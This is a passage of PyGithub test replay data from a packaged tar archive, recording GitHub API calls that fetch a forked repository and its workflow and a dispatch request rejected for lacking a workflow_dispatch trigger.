'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AAA8:1E7E:2D8AA:34416:5EAABB75')] {"id":1026390,"node_id":"MDg6V29ya2Zsb3cxMDI2Mzkw","name":"check","path":".github/workflows/check.yml","state":"active","created_at":"2020-04-15T00:48:32.000Z","updated_at":"2020-04-15T00:48:32.000Z","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/check.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/check/badge.svg"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testCreateDispatchForNonTriggerEnabled.txt0000644000175100001660000004721214756101563030242 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 22:31:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1595892672'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"31c5f867927048d603d45ba261601e3f"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '81C4:1C07:35319D:41830F:5F1F55B1')] {"id":282377842,"node_id":"MDEwOlJlcG9zaXRvcnkyODIzNzc4NDI=","name":"PyGithub","full_name":"wrecker/PyGithub","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/wrecker/PyGithub","forks_url":"https://api.github.com/repos/wrecker/PyGithub/forks","keys_url":"https://api.github.com/repos/wrecker/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PyGithub/teams","hooks_url":"https://api.github.com/repos/wrecker/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PyGithub/events","assignees_url":"https://api.github.com/repos/wrecker/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PyGithub/tags","blobs_url":"https://api.github.com/repos/wrecker/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PyGithub/languages","stargazers_url":"https://api.github.com/repos/wrecker/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PyGithub/subscription","commits_url":"https://api.github.com/repos/wrecker/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PyGithub/merges","archive_url":"https://api.github.com/repos/wrecker/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PyGithub/downloads","issues_url":"https://api.github.com/repos/wrecker/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PyGithub/deployments","created_at":"2020-07-25T05:30:01Z","updated_at":"2020-07-26T06:00:07Z","pushed_at":"2020-07-27T12:36:35Z","git_url":"git://github.com/wrecker/PyGithub.git","ssh_url":"git@github.com:wrecker/PyGithub.git","clone_url":"https://github.com/wrecker/PyGithub.git","svn_url":"https://github.com/wrecker/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12903,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T19:15:54Z","pushed_at":"2020-07-27T12:36:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3634,"watchers_count":3634,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":66,"watchers":3634,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T19:15:54Z","pushed_at":"2020-07-27T12:36:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3634,"watchers_count":3634,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":66,"watchers":3634,"default_branch":"master"},"network_count":1161,"subscribers_count":0} https GET api.github.com None /repos/wrecker/PyGithub/actions/workflows/check.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 22:31:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1595892673'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"d363315f98f9dbb6511e45183bc609ca"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '81C6:7726:653053:7D35E2:5F1F55B2')] {"id":2001229,"node_id":"MDg6V29ya2Zsb3cyMDAxMjI5","name":"check","path":".github/workflows/check.yml","state":"active","created_at":"2020-07-25T22:58:34.000-07:00","updated_at":"2020-07-25T22:58:34.000-07:00","url":"https://api.github.com/repos/wrecker/PyGithub/actions/workflows/2001229","html_url":"https://github.com/wrecker/PyGithub/blob/main/.github/workflows/check.yml","badge_url":"https://github.com/wrecker/PyGithub/workflows/check/badge.svg"} https POST api.github.com None /repos/wrecker/PyGithub/actions/workflows/2001229/dispatches {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"ref": "main", "inputs": {}} 422 [('Date', 'Mon, 27 Jul 2020 22:31:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '170'), ('Server', 'GitHub.com'), ('Status', '422 Unprocessable Entity'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1595892673'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '81C8:8081:E5D691:1149367:5F1F55B2')] {"message":"Workflow does not have 'workflow_dispatch' trigger","documentation_url":"https://developer.github.com/v3/actions/workflows/#create-a-workflow-dispatch-event"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testCreateDispatchWithBranch.txt0000644000175100001660000012262414756101563026274 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 11:24:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1595851786'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"b28176bcae143101781242716a95299e"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8980:1F25:48FC95:5CED02:5F1EB980')] {"id":282377842,"node_id":"MDEwOlJlcG9zaXRvcnkyODIzNzc4NDI=","name":"PyGithub","full_name":"wrecker/PyGithub","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/wrecker/PyGithub","forks_url":"https://api.github.com/repos/wrecker/PyGithub/forks","keys_url":"https://api.github.com/repos/wrecker/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PyGithub/teams","hooks_url":"https://api.github.com/repos/wrecker/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PyGithub/events","assignees_url":"https://api.github.com/repos/wrecker/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PyGithub/tags","blobs_url":"https://api.github.com/repos/wrecker/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PyGithub/languages","stargazers_url":"https://api.github.com/repos/wrecker/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PyGithub/subscription","commits_url":"https://api.github.com/repos/wrecker/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PyGithub/merges","archive_url":"https://api.github.com/repos/wrecker/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PyGithub/downloads","issues_url":"https://api.github.com/repos/wrecker/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PyGithub/deployments","created_at":"2020-07-25T05:30:01Z","updated_at":"2020-07-26T06:00:07Z","pushed_at":"2020-07-27T11:12:39Z","git_url":"git://github.com/wrecker/PyGithub.git","ssh_url":"git@github.com:wrecker/PyGithub.git","clone_url":"https://github.com/wrecker/PyGithub.git","svn_url":"https://github.com/wrecker/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12883,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyG